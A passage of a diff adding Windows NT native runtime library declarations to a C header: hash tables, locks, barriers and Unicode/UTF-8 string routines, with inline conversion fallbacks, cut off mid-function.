+_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlStronglyEnumerateEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +NTSYSAPI +VOID +NTAPI +RtlEndStrongEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlExpandHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlContractHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +); +#endif + +#endif // !_KERNEL_MODE + +// +// RB Trees +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +VOID +NTAPI +RtlRbInsertNodeEx( + _In_ PRTL_RB_TREE Tree, + _In_opt_ PRTL_BALANCED_NODE Parent, + _In_ BOOLEAN Right, + _Out_ PRTL_BALANCED_NODE Node +); + +NTSYSAPI +VOID +NTAPI +RtlRbRemoveNode( + _In_ PRTL_RB_TREE Tree, + _In_ PRTL_BALANCED_NODE Node +); +#endif + +#endif // !_KERNEL_MODE + +// +// Critical sections +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + _Out_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSectionAndSpinCount( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection, + _In_ ULONG SpinCount +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnterCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +LOGICAL +NTAPI +RtlTryEnterCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +LOGICAL +NTAPI +RtlIsCriticalSectionLocked( + _In_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +LOGICAL +NTAPI +RtlIsCriticalSectionLockedByThread( + _In_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +ULONG +NTAPI +RtlGetCriticalSectionRecursionCount( + _In_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +ULONG +NTAPI +RtlSetCriticalSectionSpinCount( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection, + _In_ ULONG SpinCount +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +HANDLE +NTAPI +RtlQueryCriticalSectionOwner( + _In_ HANDLE EventHandle +); +#endif + +NTSYSAPI +VOID +NTAPI +RtlCheckForOrphanedCriticalSections( + _In_ HANDLE ThreadHandle +); + +#endif // !_KERNEL_MODE + +// +// Resources +// + +#ifndef _KERNEL_MODE + +typedef struct _RTL_RESOURCE +{ + RTL_CRITICAL_SECTION CriticalSection; + + HANDLE SharedSemaphore; + volatile ULONG NumberOfWaitingShared; + HANDLE ExclusiveSemaphore; + volatile ULONG NumberOfWaitingExclusive; + + volatile LONG NumberOfActive; // negative: exclusive acquire; zero: not acquired; positive: shared acquire(s) + HANDLE ExclusiveOwnerThread; + + ULONG Flags; // RTL_RESOURCE_FLAG_* + + PRTL_RESOURCE_DEBUG DebugInfo; +} RTL_RESOURCE, * PRTL_RESOURCE; + +#define RTL_RESOURCE_FLAG_LONG_TERM ((ULONG)0x00000001) + +NTSYSAPI +VOID +NTAPI +RtlInitializeResource( + _Out_ PRTL_RESOURCE Resource +); + +NTSYSAPI +VOID +NTAPI +RtlDeleteResource( + _Inout_ PRTL_RESOURCE Resource +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAcquireResourceShared( + _Inout_ PRTL_RESOURCE Resource, + _In_ BOOLEAN Wait +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAcquireResourceExclusive( + _Inout_ PRTL_RESOURCE Resource, + _In_ BOOLEAN Wait +); + +NTSYSAPI +VOID +NTAPI +RtlReleaseResource( + _Inout_ PRTL_RESOURCE Resource +); + +NTSYSAPI +VOID +NTAPI +RtlConvertSharedToExclusive( + _Inout_ PRTL_RESOURCE Resource +); + +NTSYSAPI +VOID +NTAPI +RtlConvertExclusiveToShared( + _Inout_ PRTL_RESOURCE Resource +); + +#endif // !_KERNEL_MODE + +// +// Slim reader-writer locks, condition variables, and barriers +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// winbase:InitializeSRWLock +NTSYSAPI +VOID +NTAPI +RtlInitializeSRWLock( + _Out_ PRTL_SRWLOCK SRWLock +); + +// winbase:AcquireSRWLockExclusive +NTSYSAPI +VOID +NTAPI +RtlAcquireSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock +); + +// winbase:AcquireSRWLockShared +NTSYSAPI +VOID +NTAPI +RtlAcquireSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock +); + +// winbase:ReleaseSRWLockExclusive +NTSYSAPI +VOID +NTAPI +RtlReleaseSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock +); + +// winbase:ReleaseSRWLockShared +NTSYSAPI +VOID +NTAPI +RtlReleaseSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock +); + +// winbase:TryAcquireSRWLockExclusive +NTSYSAPI +BOOLEAN +NTAPI +RtlTryAcquireSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock +); + +// winbase:TryAcquireSRWLockShared +NTSYSAPI +BOOLEAN +NTAPI +RtlTryAcquireSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +VOID +NTAPI +RtlAcquireReleaseSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock +); +#endif //(NTDDI_VERSION >= NTDDI_WIN7) + +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// winbase:InitializeConditionVariable +NTSYSAPI +VOID +NTAPI +RtlInitializeConditionVariable( + _Out_ PRTL_CONDITION_VARIABLE ConditionVariable +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSleepConditionVariableCS( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable, + _Inout_ PRTL_CRITICAL_SECTION CriticalSection, + _In_opt_ PLARGE_INTEGER Timeout +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSleepConditionVariableSRW( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable, + _Inout_ PRTL_SRWLOCK SRWLock, + _In_opt_ PLARGE_INTEGER Timeout, + _In_ ULONG Flags +); + +// winbase:WakeConditionVariable +NTSYSAPI +VOID +NTAPI +RtlWakeConditionVariable( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable +); + +// winbase:WakeAllConditionVariable +NTSYSAPI +VOID +NTAPI +RtlWakeAllConditionVariable( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable +); +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +// begin_rev +#define RTL_BARRIER_FLAGS_SPIN_ONLY 0x00000001 // never block on event - always spin +#define RTL_BARRIER_FLAGS_BLOCK_ONLY 0x00000002 // always block on event - never spin +#define RTL_BARRIER_FLAGS_NO_DELETE 0x00000004 // use if barrier will never be deleted +// end_rev + +// begin_private + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitBarrier( + _Out_ PRTL_BARRIER Barrier, + _In_ ULONG TotalThreads, + _In_ ULONG SpinCount +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteBarrier( + _In_ PRTL_BARRIER Barrier +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlBarrier( + _Inout_ PRTL_BARRIER Barrier, + _In_ ULONG Flags +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlBarrierForDelete( + _Inout_ PRTL_BARRIER Barrier, + _In_ ULONG Flags +); +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +#endif // !_KERNEL_MODE + +// +// Wait on address +// + +#ifndef _KERNEL_MODE + +// begin_rev +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +NTSTATUS +NTAPI +RtlWaitOnAddress( + _In_ volatile VOID* Address, + _In_ PVOID CompareAddress, + _In_ SIZE_T AddressSize, + _In_opt_ PLARGE_INTEGER Timeout +); + +NTSYSAPI +VOID +NTAPI +RtlWakeAddressAll( + _In_ PVOID Address +); + +NTSYSAPI +VOID +NTAPI +RtlWakeAddressSingle( + _In_ PVOID Address +); +#endif +// end_rev + +#endif // !_KERNEL_MODE + + +// +// Strings +// + +#ifndef ANSI_STRING_MAX_BYTES +#define ANSI_STRING_MAX_BYTES ((USHORT)65535) +#endif // ANSI_STRING_MAX_BYTES + +#ifndef ANSI_STRING_MAX_CHARS +#define ANSI_STRING_MAX_CHARS ANSI_STRING_MAX_BYTES +#endif + +#ifdef _KERNEL_MODE +#include +#endif + +#ifndef _KERNEL_MODE + +_At_(AnsiString->Buffer, _Post_equal_to_(Buffer)) +_At_(AnsiString->Length, _Post_equal_to_(0)) +_At_(AnsiString->MaximumLength, _Post_equal_to_(BufferSize)) +FORCEINLINE +VOID +RtlInitEmptyAnsiString( + _Out_ PANSI_STRING AnsiString, + _Pre_maybenull_ _Pre_readable_size_(BufferSize) __drv_aliasesMem PCHAR Buffer, + _In_ USHORT BufferSize +) +{ + AnsiString->MaximumLength = BufferSize; + AnsiString->Buffer = Buffer; + AnsiString->Length = 0; +} + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlInitString( + _Out_ PSTRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitStringEx( + _Out_ PSTRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); +#endif + +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlInitAnsiString( + _Out_ PANSI_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); + +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitAnsiStringEx( + _Out_ PANSI_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlFreeAnsiString( + _Inout_ _At_(AnsiString->Buffer, _Frees_ptr_opt_) + PANSI_STRING AnsiString +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlInitUTF8String( + _Out_ PUTF8_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); + +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitUTF8StringEx( + _Out_ PUTF8_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlFreeUTF8String( + _Inout_ _At_(utf8String->Buffer, _Frees_ptr_opt_) + PUTF8_STRING utf8String +); +#endif + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlFreeOemString( + _Inout_ _At_(OemString->Buffer, _Frees_ptr_opt_) + POEM_STRING OemString +); + +NTSYSAPI +VOID +NTAPI +RtlCopyString( + _Out_ PSTRING DestinationString, + _In_opt_ const STRING* SourceString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +CHAR +NTAPI +RtlUpperChar( + _In_ CHAR Character +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +LONG +NTAPI +RtlCompareString( + _In_ const STRING* String1, + _In_ const STRING* String2, + _In_ BOOLEAN CaseInSensitive +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualString( + _In_ const STRING* String1, + _In_ const STRING* String2, + _In_ BOOLEAN CaseInSensitive +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixString( + _In_ const STRING* String1, + _In_ const STRING* String2, + _In_ BOOLEAN CaseInSensitive +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendStringToString( + _Inout_ PSTRING Destination, + _In_ const STRING* Source +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendAsciizToString( + _In_ PSTRING Destination, + _In_opt_ PCSTR Source +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlUpperString( + _Inout_ PSTRING DestinationString, + _In_ const STRING* SourceString +); + +FORCEINLINE +BOOLEAN +RtlIsNullOrEmptyUnicodeString( + _In_opt_ PUNICODE_STRING String +) +{ + return !String || String->Length == 0; +} + +#ifndef _KERNEL_MODE + +_At_(UnicodeString->Buffer, _Post_equal_to_(Buffer)) +_At_(UnicodeString->Length, _Post_equal_to_(0)) +_At_(UnicodeString->MaximumLength, _Post_equal_to_(BufferSize)) +FORCEINLINE +VOID +RtlInitEmptyUnicodeString( + _Out_ PUNICODE_STRING UnicodeString, + _Writable_bytes_(BufferSize) + _When_(BufferSize != 0, _Notnull_) + __drv_aliasesMem PWCHAR Buffer, + _In_ USHORT BufferSize +) +{ + UnicodeString->Buffer = Buffer; + UnicodeString->MaximumLength = BufferSize; + UnicodeString->Length = 0; +} + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(DISPATCH_LEVEL) +_At_(DestinationString->Buffer, _Post_equal_to_(SourceString)) +_At_(DestinationString->Length, _Post_equal_to_(_String_length_(SourceString) * sizeof(WCHAR))) +_At_(DestinationString->MaximumLength, _Post_equal_to_((_String_length_(SourceString) + 1) * sizeof(WCHAR))) +NTSYSAPI +VOID +NTAPI +RtlInitUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCWSTR SourceString +); + +#ifndef RtlInitUnicodeStringEx +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitUnicodeStringEx( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCWSTR SourceString +); +#endif + +_IRQL_requires_max_(APC_LEVEL) +_Success_(return != 0) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeString( + _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem)) + PUNICODE_STRING DestinationString, + _In_z_ PCWSTR SourceString +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCSTR SourceString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlFreeUnicodeString( + _Inout_ _At_(UnicodeString->Buffer, _Frees_ptr_opt_) + PUNICODE_STRING UnicodeString +); + +#ifndef _KERNEL_MODE +#define RTL_DUPLICATE_UNICODE_STRING_NULL_TERMINATE (0x00000001) +#define RTL_DUPLICATE_UNICODE_STRING_ALLOCATE_NULL_STRING (0x00000002) +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + _In_ ULONG Flags, + _In_ PCUNICODE_STRING StringIn, + _Out_ _At_(StringOut->Buffer, __drv_allocatesMem(Mem)) + PUNICODE_STRING StringOut +); + +_Unchanged_(DestinationString->Buffer) +_Unchanged_(DestinationString->MaximumLength) +_At_(DestinationString->Length, + _When_(SourceString->Length > DestinationString->MaximumLength, + _Post_equal_to_(DestinationString->MaximumLength)) + _When_(SourceString->Length <= DestinationString->MaximumLength, + _Post_equal_to_(SourceString->Length))) + NTSYSAPI + VOID + NTAPI + RtlCopyUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_opt_ PCUNICODE_STRING SourceString + ); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +WCHAR +NTAPI +RtlUpcaseUnicodeChar( + _In_ WCHAR SourceCharacter +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +WCHAR +NTAPI +RtlDowncaseUnicodeChar( + _In_ WCHAR SourceCharacter +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeStrings( + _In_reads_(String1Length) PCWCH String1, + _In_ SIZE_T String1Length, + _In_reads_(String2Length) PCWCH String2, + _In_ SIZE_T String2Length, + _In_ BOOLEAN CaseInSensitive +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive +); + +#ifndef _KERNEL_MODE +#define HASH_STRING_ALGORITHM_DEFAULT (0) +#define HASH_STRING_ALGORITHM_X65599 (1) +#define HASH_STRING_ALGORITHM_INVALID (0xffffffff) +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlHashUnicodeString( + _In_ PCUNICODE_STRING String, + _In_ BOOLEAN CaseInSensitive, + _In_ ULONG HashAlgorithm, + _Out_ PULONG HashValue +); + +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlValidateUnicodeString( + _Reserved_ ULONG Flags, + _In_ PCUNICODE_STRING String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive +); + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlSuffixUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10) +_Must_inspect_result_ +NTSYSAPI +PWCHAR +NTAPI +RtlFindUnicodeSubstring( + _In_ PUNICODE_STRING FullString, + _In_ PUNICODE_STRING SearchString, + _In_ BOOLEAN CaseInSensitive +); +#endif + +#define RTL_FIND_CHAR_IN_UNICODE_STRING_START_AT_END 0x00000001 +#define RTL_FIND_CHAR_IN_UNICODE_STRING_COMPLEMENT_CHAR_SET 0x00000002 +#define RTL_FIND_CHAR_IN_UNICODE_STRING_CASE_INSENSITIVE 0x00000004 + +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlFindCharInUnicodeString( + _In_ ULONG Flags, + _In_ PUNICODE_STRING StringToSearch, + _In_ PUNICODE_STRING CharSet, + _Out_ PUSHORT NonInclusivePrefixLength +); + +_Success_(1) +_Unchanged_(Destination->MaximumLength) +_Unchanged_(Destination->Buffer) +_When_(_Old_(Destination->Length) + Source->Length <= Destination->MaximumLength, + _At_(Destination->Length, + _Post_equal_to_(_Old_(Destination->Length) + Source->Length)) + _At_(return, _Out_range_(== , 0))) + _When_(_Old_(Destination->Length) + Source->Length > Destination->MaximumLength, + _Unchanged_(Destination->Length) + _At_(return, _Out_range_(< , 0))) + NTSYSAPI + NTSTATUS + NTAPI + RtlAppendUnicodeStringToString( + _Inout_ PUNICODE_STRING Destination, + _In_ PCUNICODE_STRING Source + ); + +_Success_(1) +_Unchanged_(Destination->MaximumLength) +_Unchanged_(Destination->Buffer) +_When_(_Old_(Destination->Length) + _String_length_(Source) * sizeof(WCHAR) <= Destination->MaximumLength, + _At_(Destination->Length, + _Post_equal_to_(_Old_(Destination->Length) + _String_length_(Source) * sizeof(WCHAR))) + _At_(return, _Out_range_(== , 0))) + _When_(_Old_(Destination->Length) + _String_length_(Source) * sizeof(WCHAR) > Destination->MaximumLength, + _Unchanged_(Destination->Length) + _At_(return, _Out_range_(< , 0))) + NTSYSAPI + NTSTATUS + NTAPI + RtlAppendUnicodeToString( + _Inout_ PUNICODE_STRING Destination, + _In_opt_z_ PCWSTR Source + ); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(AllocateDestinationString, _Must_inspect_result_) +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(AllocateDestinationString, _Must_inspect_result_) +NTSYSAPI +NTSTATUS +NTAPI +RtlDowncaseUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +NTSYSAPI +VOID +NTAPI +RtlEraseUnicodeString( + _Inout_ PUNICODE_STRING String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PCANSI_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_When_(AllocateDestinationString, + _At_(DestinationString->MaximumLength, + _Out_range_(<= , (SourceString->MaximumLength / sizeof(WCHAR))))) + _When_(!AllocateDestinationString, + _At_(DestinationString->Buffer, _Const_) + _At_(DestinationString->MaximumLength, _Const_)) + _IRQL_requires_max_(PASSIVE_LEVEL) + _When_(AllocateDestinationString, _Must_inspect_result_) + NTSYSAPI + NTSTATUS + NTAPI + RtlUnicodeStringToAnsiString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PANSI_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUTF8ToUnicodeN( + _Out_writes_bytes_to_(UnicodeStringMaxByteCount, *UnicodeStringActualByteCount) PWSTR UnicodeStringDestination, + _In_ ULONG UnicodeStringMaxByteCount, + _Out_ PULONG UnicodeStringActualByteCount, + _In_reads_bytes_(UTF8StringByteCount) PCCH UTF8StringSource, + _In_ ULONG UTF8StringByteCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToUTF8N( + _Out_writes_bytes_to_(UTF8StringMaxByteCount, *UTF8StringActualByteCount) PCHAR UTF8StringDestination, + _In_ ULONG UTF8StringMaxByteCount, + _Out_ PULONG UTF8StringActualByteCount, + _In_reads_bytes_(UnicodeStringByteCount) PCWCH UnicodeStringSource, + _In_ ULONG UnicodeStringByteCount +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) +_When_(AllocateDestinationString, + _At_(DestinationString->MaximumLength, _Out_range_(<= , (SourceString->MaximumLength / sizeof(WCHAR))))) +_When_(!AllocateDestinationString, + _At_(DestinationString->Buffer, _Const_) + _At_(DestinationString->MaximumLength, _Const_)) +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(AllocateDestinationString, _Must_inspect_result_) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToUTF8String( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUTF8_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUTF8StringToUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PUTF8_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +#else // NTDDI_VERSION >= NTDDI_WIN10_VB + +_When_(AllocateDestinationString, +_At_(DestinationString->MaximumLength, _Out_range_(<= , (SourceString->MaximumLength / sizeof(WCHAR))))) +_When_(!AllocateDestinationString, + _At_(DestinationString->Buffer, _Const_) + _At_(DestinationString->MaximumLength, _Const_)) +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(AllocateDestinationString, _Must_inspect_result_) +FORCEINLINE +NTSTATUS +NTAPI +RtlUnicodeStringToUTF8String( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUTF8_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +) +{ + NTSTATUS Status = STATUS_SUCCESS; + + do + { + ULONG ActualByteCount = 0ul; + + Status = RtlUnicodeToUTF8N(NULL, 0, &ActualByteCount, SourceString->Buffer, SourceString->Length); + if (ActualByteCount == 0ul) + { + break; + } + + ActualByteCount += sizeof ANSI_NULL; + + if (ActualByteCount >= ANSI_STRING_MAX_BYTES) + { + return STATUS_INVALID_PARAMETER_2; + } + + if (AllocateDestinationString) + { +#ifdef _KERNEL_MODE +#pragma warning(suppress: 4996) + DestinationString->Buffer = (PSTR)ExAllocatePool(PagedPool, ActualByteCount); +#else + DestinationString->Buffer = (PSTR)LocalAlloc(LPTR, ActualByteCount); +#endif + if (DestinationString->Buffer == NULL) + { + Status = STATUS_NO_MEMORY; + break; + } + DestinationString->MaximumLength = (USHORT)ActualByteCount; + + RtlSecureZeroMemory(DestinationString->Buffer, ActualByteCount); + } + else + { + if (DestinationString->MaximumLength < ActualByteCount) + { + Status = STATUS_BUFFER_OVERFLOW; + break; + } + } + + Status = RtlUnicodeToUTF8N(DestinationString->Buffer, DestinationString->MaximumLength, &ActualByteCount, SourceString->Buffer, SourceString->Length); + if (!NT_SUCCESS(Status)) + { + if (AllocateDestinationString) + { + RtlFreeAnsiString(DestinationString); + } + break; + } + + if (ActualByteCount > DestinationString->MaximumLength) + { + Status = STATUS_BUFFER_OVERFLOW; + break; + } + + DestinationString->Length = (USHORT)ActualByteCount; + DestinationString->Buffer[ActualByteCount / sizeof ANSI_NULL] = ANSI_NULL; + + } while (false); + + return Status; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +FORCEINLINE +NTSTATUS +NTAPI +RtlUTF8StringToUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PUTF8_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +) +{ + NTSTATUS Status = STATUS_SUCCESS; + + do + { + ULONG ActualByteCount = 0ul; + + Status = RtlUTF8ToUnicodeN(NULL, 0, &ActualByteCount, SourceString->Buffer, SourceString->Length); + if (ActualByteCount == 0ul) + { + break; + } + + ActualByteCount += sizeof UNICODE_NULL; + + if (ActualByteCount >= UNICODE_STRING_MAX_BYTES) + { + return STATUS_INVALID_PARAMETER_2; + } + + if (AllocateDestinationString) + { +#ifdef _KERNEL_MODE +#pragma warning(suppress: 4996) + DestinationString->Buffer = (PWCH)ExAllocatePool(PagedPool, ActualByteCount); +#else + DestinationString->Buffer = (PWCH)LocalAlloc(LPTR, ActualByteCount); +#endif + if (DestinationString->Buffer == NULL) + { + Status = STATUS_NO_MEMORY; + break; + } + DestinationString->MaximumLength = (USHORT)ActualByteCount; + + RtlSecureZeroMemory(DestinationString->Buffer, ActualByteCount); + } + else + { 